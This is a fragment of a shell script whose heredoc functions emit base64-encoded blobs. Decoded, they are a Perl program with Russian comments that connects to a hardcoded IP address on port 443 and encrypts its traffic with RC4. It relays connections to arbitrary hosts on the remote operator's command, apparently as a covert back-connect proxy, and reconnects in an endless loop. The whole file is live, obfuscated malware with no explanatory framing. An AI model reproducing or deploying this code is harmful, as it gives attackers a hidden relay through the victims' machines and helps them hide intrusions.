U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_40() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODknOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
